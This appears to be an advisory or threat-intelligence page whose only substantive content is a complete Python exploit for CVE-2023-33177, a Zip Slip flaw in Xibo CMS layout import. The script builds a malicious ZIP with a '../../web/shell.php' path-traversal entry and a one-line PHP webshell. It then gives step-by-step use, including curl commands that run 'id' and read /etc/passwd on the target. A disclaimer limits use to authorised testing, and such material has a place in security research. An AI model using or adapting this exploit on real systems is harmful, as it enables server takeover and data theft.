Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: XiboCMS 3.3.4- Remote Code Execution # Google Dork: N/A # Date: 2025-11-18 # Exploit Author: complexusprada # Vendor Homepage: https://xibo.org.uk/ # Software Link: https://github.com/xibosignage/xibo-cms # Version: 1.8.0 - 2.3.16, 3.0.0 - 3.3.4 # Tested on: Ubuntu Linux (Docker), Xibo CMS 3.3.4 # CVE: CVE-2023-33177 # GHSA: GHSA-jj27-x85q-crqv # Category: webapps """ # Vulnerability Description: # Xibo CMS contains a path traversal vulnerability (Zip Slip) in the layout import # functionality. The application fails to properly validate file paths in the mapping.json # file within uploaded ZIP archives, allowing authenticated attackers to write files # outside the intended library directory using path traversal sequences (../../). # This results in arbitrary file upload and remote code execution. # Exploitation Details: # 1. Attacker creates a malicious ZIP file containing a valid Xibo layout structure # 2. The mapping.json file contains a path traversal payload (../../web/shell.php) # 3. A PHP webshell is placed at the corresponding path within the ZIP structure # 4. When the layout is imported, Xibo extracts files without proper path validation # 5. The webshell is written to the web root (/var/www/cms/web/shell.php) # 6. Attacker gains remote code execution via the webshell # Vulnerability Chain: # ZIP contains: library/../../web/shell.php # Mapping.json: {"file": "../../web/shell.php", ...} # Xibo reads: library/ + ../../web/shell.php # Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php # Result: /var/www/cms/web/shell.php (webshell in web root!) # Prerequisites: # - Valid Xibo CMS credentials (any authenticated user with layout import permission) # - Xibo CMS versions 1.8.0 - 2.3.16 or 3.0.0 - 3.3.4 # Exploitation Steps: # 1. Run this script to generate exploit.zip # 2. Log in to Xibo CMS # 3. Navigate to: Design → Layouts → Import # 4. Upload the generated exploit.zip file # 5. Even if JSON errors occur, the webshell has been written to disk # 6. Access webshell at: http://<target>/shell.php?cmd=<command> # Example: curl 'http://target/shell.php?cmd=id' # Mitigation: # Upgrade to patched versions: # - Xibo CMS 2.3.17+ (for 2.x branch) # - Xibo CMS 3.3.5+ (for 3.x branch) # Disclaimer: # This exploit is provided for educational purposes, authorized penetration testing, # and vulnerability research only. Only use against systems you own or have explicit # written permission to test. """ import zipfile import json import sys def create_exploit(): """Generate the malicious ZIP file for Xibo CMS RCE exploit""" print("[*] Xibo CMS Zip Slip RCE Exploit Generator") print("[*] CVE-2023-33177 - Path Traversal via Layout Import") print("[*] Affected: Xibo CMS 1.8.0-2.3.16, 3.0.0-3.3.4\n") # Valid Xibo 3.0 layout structure # This ensures the ZIP passes initial validation checks layout_json = { "layout": "Exploit Layout", "description": "Path Traversal Test", "layoutDefinitions": { "schemaVersion": 3, "width": 1920, "height": 1080, "backgroundColor": "#000000", "backgroundzIndex": 0, "code": "CVE-2023-33177", "actions": [], "regions": [], "drawers": [] } } # Empty playlist - triggers JSON import code path playlist_json = {} # VULNERABILITY: Path traversal in mapping.json # The 'file' field is not properly sanitized before file extraction # Xibo constructs the extraction path as: library/temp/ + file['file'] # Using ../../ allows escaping the library directory mapping_json = [{ "file": "../../web/shell.php", # Path traversal payload "name": "shell.php", "type": "module" }] # Simple PHP webshell for command execution # Accepts commands via GET parameter: ?cmd=<command> webshell = b'<?php system($_GET["cmd"]); ?>' # Create the malicious ZIP file try: with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zf: # Add required Xibo layout files zf.writestr('layout.json', json.dumps(layout_json, indent=2)) zf.writestr('playlist.json', json.dumps(playlist_json)) zf.writestr('mapping.json', json.dumps(mapping_json)) # CRITICAL: The file path in the ZIP must match what Xibo expects # Xibo calls: $zip->getStream('library/' . $file['file']) # Therefore we place the file at: library/../../web/shell.php zf.writestr('library/../../web/shell.php', webshell) print("[+] Exploit ZIP created successfully: exploit.zip") print("\n[*] Exploitation Steps:") print(" 1. Log in to Xibo CMS with valid credentials") print(" 2. Navigate to: Design → Layouts → Import") print(" 3. Upload exploit.zip") print(" 4. Ignore any JSON errors (file is already written)") print(" 5. Access webshell: http://<target>/shell.php?cmd=<command>") print("\n[*] Example:") print(" curl 'http://target/shell.php?cmd=id'") print(" curl 'http://target/shell.php?cmd=cat%20/etc/passwd'") print() except Exception as e: print(f"[-] Error creating exploit: {e}", file=sys.stderr) sys.exit(1) if __name__ == "__main__": create_exploit()